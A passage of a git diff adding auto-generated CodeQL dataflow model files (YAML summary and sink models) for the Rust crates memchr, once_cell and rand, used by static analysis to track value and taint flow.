"ReturnValue.Field[crate::arch::generic::memchr::Two::s1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[1]", "ReturnValue.Field[crate::arch::generic::memchr::Two::s2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::min_haystack_len", "Argument[self].Field[crate::arch::generic::packedpair::Finder::min_haystack_len]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[1]", "ReturnValue.Field[crate::arch::generic::packedpair::Finder::pair]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::pair", "Argument[self].Field[crate::arch::generic::packedpair::Finder::pair]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[0].Field[crate::cow::Imp::Owned(0)]", "ReturnValue.Field[crate::cow::CowBytes(0)].Field[crate::cow::Imp::Owned(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::cow::CowBytes(0)].Field[crate::cow::Imp::Owned(0)]", "ReturnValue.Field[crate::cow::CowBytes(0)].Field[crate::cow::Imp::Owned(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::memchr::Memchr2::needle1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[1]", "ReturnValue.Field[crate::memchr::Memchr2::needle2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::memchr::Memchr3::needle1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[1]", "ReturnValue.Field[crate::memchr::Memchr3::needle2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[2]", "ReturnValue.Field[crate::memchr::Memchr3::needle3]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::memchr::Memchr::needle1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::memmem::FindIter::haystack]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[1]", "ReturnValue.Field[crate::memmem::FindIter::finder]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::FindRevIter::finder].Field[crate::memmem::FinderRev::searcher]", "ReturnValue.Field[crate::memmem::FindRevIter::finder].Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::FindRevIter::haystack]", "ReturnValue.Field[crate::memmem::FindRevIter::haystack]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::FindRevIter::pos]", "ReturnValue.Field[crate::memmem::FindRevIter::pos]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::memmem::FindRevIter::haystack]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[1]", "ReturnValue.Field[crate::memmem::FindRevIter::finder]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::as_ref", "Argument[self].Field[crate::memmem::Finder::searcher].Reference", "ReturnValue.Field[crate::memmem::Finder::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::as_ref", "Argument[self].Field[crate::memmem::Finder::searcher]", "ReturnValue.Field[crate::memmem::Finder::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_iter", "Argument[0]", "ReturnValue.Field[crate::memmem::FindIter::haystack]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_iter", "Argument[self].Field[crate::memmem::Finder::searcher].Reference", "ReturnValue.Field[crate::memmem::FindIter::finder].Field[crate::memmem::Finder::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_iter", "Argument[self].Field[crate::memmem::Finder::searcher]", "ReturnValue.Field[crate::memmem::FindIter::finder].Field[crate::memmem::Finder::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::Finder::searcher].Reference", "ReturnValue.Field[crate::memmem::Finder::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::Finder::searcher]", "ReturnValue.Field[crate::memmem::Finder::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::prefilter", "Argument[0]", "Argument[self].Field[crate::memmem::FinderBuilder::prefilter]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::prefilter", "Argument[0]", "ReturnValue.Field[crate::memmem::FinderBuilder::prefilter]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::prefilter", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::as_ref", "Argument[self].Field[crate::memmem::FinderRev::searcher].Reference", "ReturnValue.Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::as_ref", "Argument[self].Field[crate::memmem::FinderRev::searcher]", "ReturnValue.Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::FinderRev::searcher].Reference", "ReturnValue.Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::into_owned", "Argument[self].Field[crate::memmem::FinderRev::searcher]", "ReturnValue.Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::rfind_iter", "Argument[0]", "ReturnValue.Field[crate::memmem::FindRevIter::haystack]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::rfind_iter", "Argument[self].Field[crate::memmem::FinderRev::searcher].Reference", "ReturnValue.Field[crate::memmem::FindRevIter::finder].Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::rfind_iter", "Argument[self].Field[crate::memmem::FinderRev::searcher]", "ReturnValue.Field[crate::memmem::FindRevIter::finder].Field[crate::memmem::FinderRev::searcher]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[0]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[1]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[2]", "Argument[self]", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0].Element", "ReturnValue.Field[crate::memmem::searcher::SearcherRev::kind].Field[crate::memmem::searcher::SearcherRevKind::OneByte::needle]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::new", "Argument[0]", "ReturnValue.Field[crate::tests::memchr::Runner::needle_len]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::fwd", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::fwd", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::rev", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::all_zeros_except_least_significant", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::and", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::and", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::clear_least_significant_bit", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::or", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::or", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::all_zeros_except_least_significant", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::and", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::and", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::clear_least_significant_bit", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::or", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::or", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::to_char", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::arch::generic::memchr::count_byte_by_byte", "Argument[0].Reference", "Argument[2].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::arch::generic::memchr::fwd_byte_by_byte", "Argument[0].Reference", "Argument[2].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::arch::generic::memchr::fwd_byte_by_byte", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::arch::generic::memchr::search_slice_with_raw", "Argument[0]", "Argument[1]", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::arch::generic::memchr::search_slice_with_raw", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::arch::generic::memchr::search_slice_with_raw", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::memchr::memchr2_iter", "Argument[0]", "ReturnValue.Field[crate::memchr::Memchr2::needle1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::memchr::memchr2_iter", "Argument[1]", "ReturnValue.Field[crate::memchr::Memchr2::needle2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::memchr::memchr3_iter", "Argument[0]", "ReturnValue.Field[crate::memchr::Memchr3::needle1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::memchr::memchr3_iter", "Argument[1]", "ReturnValue.Field[crate::memchr::Memchr3::needle2]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::memchr::memchr3_iter", "Argument[2]", "ReturnValue.Field[crate::memchr::Memchr3::needle3]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::memchr::memchr_iter", "Argument[0]", "ReturnValue.Field[crate::memchr::Memchr::needle1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::memmem::find", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::memmem::find_iter", "Argument[0]", "ReturnValue.Field[crate::memmem::FindIter::haystack]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::memmem::rfind_iter", "Argument[0]", "ReturnValue.Field[crate::memmem::FindRevIter::haystack]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::tests::substring::prop::prefix_is_substring", "Argument[0].Element", "Argument[1].Parameter[1].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::tests::substring::prop::prefix_is_substring", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::tests::substring::prop::same_as_naive", "Argument[1]", "Argument[3].Parameter[0]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::tests::substring::prop::same_as_naive", "Argument[2]", "Argument[3].Parameter[1]", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::tests::substring::prop::suffix_is_substring", "Argument[0].Element", "Argument[1].Parameter[1].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "crate::tests::substring::prop::suffix_is_substring", "Argument[0]", "Argument[1].Parameter[0]", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find", "Argument[self]", "log-injection", "df-generated"] + - ["repo:https://github.com/BurntSushi/memchr:memchr", "::find_prefilter", "Argument[self]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/memchr/repo-shared.model.yml b/rust/ql/lib/ext/generated/memchr/repo-shared.model.yml new file mode 100644 index 000000000000..792aa942c4dc --- /dev/null +++ b/rust/ql/lib/ext/generated/memchr/repo-shared.model.yml @@ -0,0 +1,27 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::shared", "::one_needle", "Argument[self].Field[crate::Benchmark::needles].Element", "ReturnValue.Field[crate::result::Result::Ok(0)].Reference", "value", "dfc-generated"] + - ["repo::shared", "::one_needle_byte", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::shared", "::three_needle_bytes", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::shared", "::two_needle_bytes", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo::shared", "crate::count_memchr2", "Argument[0]", "Argument[3].Parameter[0]", "value", "dfc-generated"] + - ["repo::shared", "crate::count_memchr2", "Argument[1]", "Argument[3].Parameter[1]", "value", "dfc-generated"] + - ["repo::shared", "crate::count_memchr2", "Argument[2]", "Argument[3].Parameter[2]", "value", "dfc-generated"] + - ["repo::shared", "crate::count_memchr3", "Argument[0]", "Argument[4].Parameter[0]", "value", "dfc-generated"] + - ["repo::shared", "crate::count_memchr3", "Argument[1]", "Argument[4].Parameter[1]", "value", "dfc-generated"] + - ["repo::shared", "crate::count_memchr3", "Argument[2]", "Argument[4].Parameter[2]", "value", "dfc-generated"] + - ["repo::shared", "crate::count_memchr3", "Argument[3]", "Argument[4].Parameter[3]", "value", "dfc-generated"] + - ["repo::shared", "crate::count_memchr", "Argument[0]", "Argument[2].Parameter[0]", "value", "dfc-generated"] + - ["repo::shared", "crate::count_memchr", "Argument[1]", "Argument[2].Parameter[1]", "value", "dfc-generated"] + - ["repo::shared", "crate::count_memmem", "Argument[0]", "Argument[2].Parameter[0]", "value", "dfc-generated"] + - ["repo::shared", "crate::count_memmem", "Argument[1]", "Argument[2].Parameter[1]", "value", "dfc-generated"] + - ["repo::shared", "crate::count_memmem_str", "Argument[0]", "Argument[2].Parameter[0]", "value", "dfc-generated"] + - ["repo::shared", "crate::count_memmem_str", "Argument[1]", "Argument[2].Parameter[1]", "value", "dfc-generated"] + - ["repo::shared", "crate::run", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo::shared", "crate::run_and_count", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo::shared", "crate::run_and_count", "Argument[2]", "Argument[1]", "taint", "df-generated"] + - ["repo::shared", "crate::run_and_count", "Argument[2]", "ReturnValue", "taint", "df-generated"] diff --git a/rust/ql/lib/ext/generated/once_cell/repo-https-github.com-matklad-once_cell-once_cell.model.yml b/rust/ql/lib/ext/generated/once_cell/repo-https-github.com-matklad-once_cell-once_cell.model.yml new file mode 100644 index 000000000000..deaaf890d15b --- /dev/null +++ b/rust/ql/lib/ext/generated/once_cell/repo-https-github.com-matklad-once_cell-once_cell.model.yml @@ -0,0 +1,21 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/matklad/once_cell:once_cell", "::get_or_init", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::get_or_try_init", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::get_or_init", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::get_or_try_init", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::get_or_init", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::get_or_try_init", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::clone_from", "Argument[0].Reference", "Argument[self].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::try_insert", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::clone_from", "Argument[0].Reference", "Argument[self].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::get_or_init", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::get_or_try_init", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::try_insert", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[1]", "value", "dfc-generated"] + - ["repo:https://github.com/matklad/once_cell:once_cell", "::try_insert", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Reference", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rand/repo-benches.model.yml b/rust/ql/lib/ext/generated/rand/repo-benches.model.yml new file mode 100644 index 000000000000..a16a29a127f5 --- /dev/null +++ b/rust/ql/lib/ext/generated/rand/repo-benches.model.yml @@ -0,0 +1,9 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo::benches", "::next", "Argument[self].Field[crate::UnhintedIterator::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo::benches", "::next", "Argument[self].Field[crate::WindowHintedIterator::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo::benches", "::size_hint", "Argument[self].Field[crate::WindowHintedIterator::window_size]", "ReturnValue.Field[0]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand.model.yml b/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand.model.yml new file mode 100644 index 000000000000..682e25457132 --- /dev/null +++ b/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand.model.yml @@ -0,0 +1,63 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/rust-random/rand:rand", "<&_ as crate::distr::uniform::SampleBorrow>::borrow", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "<_ as crate::distr::uniform::SampleBorrow>::borrow", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::any", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::replace", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::from_ratio", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::from_ratio", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::new", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::p", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::sample", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::new", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::distr::slice::Choose::slice]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::num_choices", "Argument[self].Field[crate::distr::slice::Choose::num_choices]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::sample", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::total_weight", "Argument[self].Field[crate::distr::weighted::weighted_index::WeightedIndex::total_weight].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::total_weight", "Argument[self].Field[crate::distr::weighted::weighted_index::WeightedIndex::total_weight]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::update_weights", "Argument[self].Field[crate::distr::weighted::weighted_index::WeightedIndex::total_weight].Reference", "Argument[self].Field[crate::distr::weighted::weighted_index::WeightedIndex::total_weight]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::weight", "Argument[self].Field[crate::distr::weighted::weighted_index::WeightedIndex::total_weight].Reference", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::weight", "Argument[self].Field[crate::distr::weighted::weighted_index::WeightedIndex::total_weight]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::weights", "Argument[self]", "ReturnValue.Field[crate::distr::weighted::weighted_index::WeightedIndexIter::weighted_index]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::clone", "Argument[self].Field[crate::distr::weighted::weighted_index::WeightedIndexIter::index]", "ReturnValue.Field[crate::distr::weighted::weighted_index::WeightedIndexIter::index]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::clone", "Argument[self].Field[crate::distr::weighted::weighted_index::WeightedIndexIter::weighted_index]", "ReturnValue.Field[crate::distr::weighted::weighted_index::WeightedIndexIter::weighted_index]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::next_u32", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::next_u64", "Argument[self].Field[crate::rngs::mock::StepRng::v]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::new", "Argument[0]", "ReturnValue.Field[crate::rngs::mock::StepRng::v]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::new", "Argument[1]", "ReturnValue.Field[crate::rngs::mock::StepRng::a]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::new", "Argument[1]", "ReturnValue.Field[crate::rngs::reseeding::ReseedingCore::reseeder]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::new", "Argument[0]", "ReturnValue.Field[crate::seq::coin_flipper::CoinFlipper::rng]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::new", "Argument[0]", "ReturnValue.Field[crate::seq::increasing_uniform::IncreasingUniform::rng]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::new", "Argument[1]", "ReturnValue.Field[crate::seq::increasing_uniform::IncreasingUniform::n]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::next_index", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::from", "Argument[0]", "ReturnValue.Field[crate::seq::index_::IndexVec::U32(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::from", "Argument[0]", "ReturnValue.Field[crate::seq::index_::IndexVec::U64(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::index", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::next", "Argument[self].Field[crate::seq::iterator::test::ChunkHintedIterator::chunk_size]", "Argument[self].Field[crate::seq::iterator::test::ChunkHintedIterator::chunk_remaining]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::next", "Argument[self].Field[crate::seq::iterator::test::ChunkHintedIterator::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::size_hint", "Argument[self].Field[crate::seq::iterator::test::ChunkHintedIterator::chunk_remaining]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::next", "Argument[self].Field[crate::seq::iterator::test::UnhintedIterator::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::next", "Argument[self].Field[crate::seq::iterator::test::WindowHintedIterator::iter].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::size_hint", "Argument[self].Field[crate::seq::iterator::test::WindowHintedIterator::window_size]", "ReturnValue.Field[0]", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::extract_lane", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::replace", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::cast_from_int", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::extract_lane", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::replace", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::cast_from_int", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::wmul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::wmul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::wmul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::wmul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::as_usize", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::wmul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::wmul", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::as_usize", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::wmul", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/rust-random/rand:rand", "::wmul", "Argument[self]", "ReturnValue", "taint", "df-generated"] diff --git a/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_chacha.model.yml b/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_chacha.model.yml new file mode 100644 index 000000000000..456b8c7e3e74 --- /dev/null +++ b/rust/ql/lib/ext/generated/rand/repo-https-github.com-rust-random-rand-rand_chacha.model.yml @@ 